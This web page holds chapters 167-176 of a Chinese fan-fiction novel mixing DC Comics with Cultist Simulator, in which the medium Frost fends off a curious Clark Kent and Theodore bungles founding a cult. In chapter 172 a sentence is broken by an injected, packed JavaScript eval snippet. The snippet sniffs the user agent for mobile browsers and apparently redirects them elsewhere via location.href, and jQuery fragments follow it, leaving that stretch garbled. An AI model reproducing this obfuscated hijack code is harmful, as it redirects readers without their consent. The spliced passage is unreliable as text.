167
大都会。
佛罗斯特正在处理委托。
委托人是个中年男人，妻子三个月前死于车祸。他带来一条围巾，是她出事那天戴的。佛罗斯特闭着眼，手指轻触那团毛线，冬的准则像冷水一样漫过意识，带出那些残留的碎片——
……阳光。笑声。刹车声。尖叫。然后是漫长的、漫长的黑暗。
“她说……”佛罗斯特睁开眼，声音很轻，“她说那天早上你忘了带午餐，她本来想给你送到公司去。但她临时改了主意，想先去花店买一束你喜欢的雏菊。”
男人的眼眶红了。
“她让我告诉你，不是你的错。那天的路况……谁也没想到。”
男人低下头，肩膀颤抖。
佛罗斯特安静地等着，把那杯草药茶往他手边推了推。
168
送走委托人之后佛罗斯特开始收拾摆放的神秘学道具。
门铃响了。
“快递放门口！”佛罗斯特喊到。
门铃依旧在响，叹了口气，他走过去开门。
打开门，他看见一张熟悉的脸——温和的笑容，黑框眼镜，格子衬衫。
克拉克·肯特。
“……肯特先生。”
“怀特先生。”克拉克的笑容一如既往地无害，“抱歉打扰，我刚好路过，想起你住这附近——那天路上聊得挺投机的，所以想来打个招呼。”
佛罗斯特站在门口，没有让开的意思。
“你怎么知道我住这？”
“哦。”克拉克挠挠头，笑容里带了点不好意思，“那天在哥谭分开后，我……呃，回去的时候顺便看了一眼你的登记信息。职业病，抱歉抱歉，记者嘛，总是忍不住查东西。”
“好吧，虽然不知道你怎么查到的，但如果你是从我的委托人那买的消息，那我就又要搬家了。”佛罗斯特侧身让开，“你先进来吧，我在收拾东西你待一会。”
克拉克点点头，乖乖地跟着他进门，在客厅角落的椅子上坐下，动作安静得像一只大型犬。
169
克拉克好奇的看着佛罗斯特扯掉氛围布，又把桌面上的一个个道具收起来。
“——嗯，怀特先生，这些是你用来通灵的材料吗？”克拉克观察着架子上的各类水晶和香薰。
“看你怎么想了，你觉得他们是就是。”佛罗斯特将最后一个灵摆放进抽屉里，转身面对克拉克。“所以你是来干什么的？采访灵媒师还是好奇你之前从我那看过的书。”
“都有点。”克拉克坦诚地说，收回目光，语气温和，“采访灵媒师是个不错的角度，星球日报的读者会对‘能与死者对话的人’感兴趣。但说实话——”他顿了顿，“我对你更感兴趣。”
“如果你想知道我是怎么和死者对话，那你要失望了，”佛罗斯特为克拉克倒了一杯草药茶在他对面坐下，“我并不能和死者对话，我只是能看到他们生前的记忆。”
克拉克的目光扫过佛罗斯特摆在架子上各式各样的密传，接着问：“那你看到我的吗，我是说，活人的记忆。”
“当然——不能。”佛罗斯特开始胡编乱造，“或活着的人就像一棵树，我不是植物学家，我看不出什么；当人去世就像变成一本书，而我恰好善于阅读。”
“你可以这么理解。”佛罗斯特端起自己的茶杯，浅蓝色的眼睛在袅袅热气后显得有些朦胧，“一本每个人都会写的书，只是大多数人在活着的时候不知道自己在写。”
170
我要演不下去了，地面一直在攻击我的脚指头。
如果我以后不当灵媒师转行去做演员肯定也很有前途。
感觉我真的很神棍唉。
171
克拉克沉默了一会儿。
窗外的光线慢慢变化，大都会的黄昏从玻璃窗里渗进来，把房间染成温暖的橙色。佛罗斯特注意到克拉克的目光再次扫过那些书架——上面摆满了各式各样的书，有些看起来年代久远，有些还很新。其中几个书脊上没有标题，只有一些奇怪的符号。
“那些是什么书？”克拉克问，语气里只有纯粹的好奇。
“灵媒师的藏书。”佛罗斯特说到，“有些是上一辈传下来的，有些是我自己收集的。”
“我能看看吗？”
佛罗斯特看着那双藏在黑框眼镜后面的蓝眼睛。超人的眼睛，能在瞬间看穿铅板、看穿墙壁、看穿谎言的眼睛。如果他想看，那些书里的内容早就被他扫过一遍了。
“请便。”喝了口茶后他淡定的说。好在外面摆的书都是研究过已获得密传的书，还不知道没读过的书给普通人/外星人看会出什么岔子。
克拉克站起来，走到书架前。他的动作很轻，像是怕惊扰了什么。手指拂过那些书脊，在几本没有奇怪符号的书上停了停，最终抽出一本金黄封皮的。
《论困于银镜之物》①
“一本关于镜子的民俗故事……？”克拉克看完之后问到，“我之前从未听说过这个故事。”
“一些边角的小故事而已。”佛罗斯特面不改色的说。“这些书都是孤本，能安全的到我手里已经很不可思议了，大部分人都没有保留这些故事的想法。”
“那本书呢？你之前带到哥谭的书，也是这样的吗？”
“是的，为了保存这些书，我稍稍用了些特殊手段而已。”
“特殊手段？”克拉克转过身，语气里带着恰到好处的好奇，“比如？”
“比如给书涂一层防水涂层。”佛罗斯特面不改色，“哥谭天天下雨，万一淋湿了多可惜。”
克拉克愣了一下，然后笑了。
那笑容真诚得让佛罗斯特有点心虚。
“怀特先生，”克拉克把书放回书架，重新坐回椅子上，“你是我见过最……特别的灵媒师。”
“因为我不装神弄鬼？”
“因为你不怕我。”克拉克说，那双蓝眼睛透过镜片看着他，温和但锐利，“大多数人面对记者会紧张，会斟酌措辞，会试图让自己看起来更‘正常’或者“不同寻常”。但你不会。你就像……”
他顿了顿，似乎在找合适的词。
“就像你已经知道我是谁了。”
佛罗斯特端着茶杯的手稳如磐石。
“我知道你是克拉克·肯特，星球日报的记者。”他说，“还需要知道别的吗？”
克拉克看着他，几秒后，又笑了。
“不需要。”他站起来，“时间不早了，我该走了。怀特先生，如果以后有机会，我想正式采访你一次——关于灵媒师的工作，关于那些书，关于你看到的‘记忆’。读者会喜欢的。”
佛罗斯特站起来送客。
“提前预约。”他说，“我最近挺忙的。”
“一定。”
门关上的那一刻，佛罗斯特靠在门板上，长长地吐出一口气。
172
闭上眼睛。
佛罗斯特的墨绿桌面摆放着新出现的猎人牌。
【超人＊克拉克·肯特】
相性：一丝不苟坚韧不拔 猎人理想主义者凡人
“白昼之子，明日之子。”
不出所料，超模猎人还在追我。话说超人真的能算的上是【凡人】吗，感觉我和超人一九开，他一拳我含笑九泉。
好在这次桌面上没有【邪名】，没有生成【不确凿的证据】。
埃德蒙有蝙蝠侠盯着，佛罗斯特有超人盯着，这样一看，西奥多活的很好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296925|198574||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。没有猎人盯着，还有资本家包养，一切好的不能再好了。
173
纽约
现在很尴尬，西奥多心想。
他正披着一件斗篷站在昏暗的房间中，手里拿着一本怎么看都古怪的书，和刚刚打开门的伊森对上了眼睛。
“……我打扰你了吗？”伊森犹豫的站在门口问道。
西奥多低头看了看自己——从衣柜深处翻出来的黑色长袍，拿在手里的《王冠的胜利》②，还有为了营造“密氛”点上的三根蜡烛。桌面上还摆着一面小镜子和一碗水——纯粹是为了仪式感。
“……我在尝试一种新的冥想方式。”西奥多说。
伊森的表情很复杂，带着四份担心，三份怀疑，两份好奇和一份了然。
“我刚才敲了半天门你没有来开门，”他说，很贴心地没有追问，“我担心你出了什么事就直接用备用钥匙开门了。”
西奥多什么都没说，只是假装镇定的点了点头。
174
什么都追求仪式感只会害了你。
好尴尬，有什么比突然中二病犯了被朋友看见更尴尬的事吗。
我是怎么就突然想到披个斗篷创教好有代入感。代入M·W氏吗。③
还是西奥多这里过的太轻松了，换成埃德蒙和佛罗斯特肯定是在一边着手召唤蛾属性召唤物一边创教了。
都怪资本主义腐蚀了我的大脑。
175
伊森沉默了一阵最终开口到：“西奥多，如果你想……怀念艾米丽，不用躲着我。”
西奥多愣了一下。
“我以为你在做那种——”伊森比划了一下，“招魂仪式？或者类似的东西。我在以前见过一些当地人做这个，点蜡烛，念经文，和逝者说话。”他顿了顿，“如果你想和艾米丽说话，我可以出去。”
西奥多一言不发。
误会大了，但这是个好误会。
“……不用。”他说，放下手里的书，扯掉披着的斗篷——动作自然得像只是试了件不合身的衣服，“我只是……想试试。但好像没什么用。”
伊森走过来，在他旁边坐下。
“没用是正常的。”他说，“如果真的能招魂，这世界早就乱套了。”
西奥多没接话，拉开窗帘，吹灭了蜡烛给伊森倒了杯水。
西奥多和伊森并肩坐着，窗外的纽约夜色被高楼切割成碎片，沉默在两人之间流淌。
“我想来问你，”伊森突然开口，“下月有个研讨会，我觉得你应该去。”
“研讨会？”
“生物学方面的，”伊森笑了笑，“以你的水平当然可以不去，但是你回来之后快两个月没出门了，适当的对外交流对你有好处。”
“我会去的。”西奥多说。
伊森点点头，站起来准备离开。走到门口时，他回过头：“西奥多，不管你是在怀念艾米丽，还是在做别的什么事——”他的目光扫过桌上那本《王冠的胜利》，“注意安全。”
门关上了。
176
墨绿桌面上静静摆着【临时总部】还有——【圣许德拉会】。
？
我刚才放进去的不是刃密传吗？我的【闪刃教会】呢？
原本创建刃教会后会转化为【伤口】的【健康】毫无变化的摆在桌面上，但旁边的【理性】却转化为【理性（黯淡）】。④
伊森来的时候我好像是手忙脚乱的塞了张密传在创教进度栏里面……？
坏了。
简直不敢相信上辈子打了那么多次存档，创了那么多次教都没有出过过错，这辈子第一次创教就大失败。
辉光啊，我之前还没创过【圣许德拉会】这个教会。⑤